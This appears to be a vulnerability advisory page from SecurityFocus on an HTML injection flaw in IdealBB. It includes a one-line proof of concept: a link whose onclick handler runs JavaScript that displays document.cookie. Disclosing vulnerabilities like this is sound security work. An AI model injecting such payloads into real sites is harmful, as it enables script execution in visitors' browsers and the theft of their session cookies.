info
discussion
exploit
solution
references
IdealBB HTML Injection Vulnerability
The following proof of concept was provided by Scott M <scottm@spamcop.net>:
<a href="http://www.google.com" onclick="javascript:alert(document.cookie);">Google</a>
Privacy Statement
Copyright 2010, SecurityFocus
